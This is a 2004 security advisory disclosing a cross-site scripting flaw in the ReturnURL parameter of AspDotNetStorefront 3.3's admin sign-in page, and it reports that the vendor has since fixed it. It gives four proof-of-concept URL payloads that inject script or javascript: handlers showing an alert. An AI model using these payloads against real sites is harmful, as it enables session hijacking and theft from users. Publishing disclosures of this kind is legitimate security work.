ASPDOTNETSTOREFRONT Cross-Site Scripting Vulnerability

Release Date:
June 9, 2004

Severity:
Medium

Vendor:
AspDotNetStorefront.com A Division of Discovery Productions, Inc.

Software:
Tested on AspDotNetStorefront 3.3  
Previous versions may also be affected.

Remote:
Remotely executed from any web browser

Technical Details:
The malicious user is able to compromise the hidden field ReturnURL to
invoke a Cross-Site Scripting attack. This can be used to take advantage of
the trust between a client and server allowing the malicious user to execute
malicious JavaScript on the clients machine.


Examples:

http://www.victimsite.com/aspdotnetcart/admin/signin.aspx?returnurl=1"style=
"background:url(javascript:alert('Vulnerable_To_XSS'))"%20"

http://www.victimsite.com/aspdotnetcart/admin/signin.aspx?returnurl=--><scri
pt>alert('Vulnerable_To_XSS')</script>

http://www.victimsite.com/aspdotnetcart/admin/signin.aspx?returnurl=>"><scri
pt>alert("Vulnerable_To_XSS")</script>

http://www.victimsite.com/aspdotnetcart/admin/signin.aspx?returnurl=>"'><img
%20src="javascript:alert('Vulnerable_To_XSS')">


Vendor Status:
Updates are available for customers to download.
Vendor was provided a list of vulnerabilities on June 5th.
Application was fixed by June 6th.
http://www.aspdotnetstorefront.com


Credit:
Discovered By: Thomas Ryan
Provide Security

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